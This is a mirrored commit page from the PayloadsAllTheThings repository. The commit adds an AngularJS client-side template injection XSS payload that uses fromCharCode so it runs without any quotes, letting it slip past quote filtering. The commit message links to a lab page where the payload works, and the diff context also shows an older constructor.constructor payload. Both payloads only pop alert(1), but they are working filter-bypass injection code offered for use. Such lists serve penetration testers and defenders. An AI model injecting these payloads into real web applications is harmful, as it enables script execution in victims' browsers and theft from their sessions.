mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-12 15:49:38 -08:00
[Update] Added 1 payload
Added one payload which executes without any usage of single or double quotes. Helpful when you have AngularJS injection but quotes are blocked by application. Working proof of payload here: https://portswigger-labs.net/xss/angularjs.php?type=reflected&csp=0&version=1.6.0&x={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
This commit is contained in:
@@ -149,6 +149,14 @@ AngularJS 1.0.1 - 1.1.5 and Vue JS
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
```
|
||||
|
||||
### Advanced bypassing XSS
|
||||
|
||||
AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
|
||||
|
||||
```javascript
|
||||
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
|
||||
```
|
||||
|
||||
|
||||
### Blind XSS
|
||||
|
||||
|
||||
Reference in New Issue
Block a user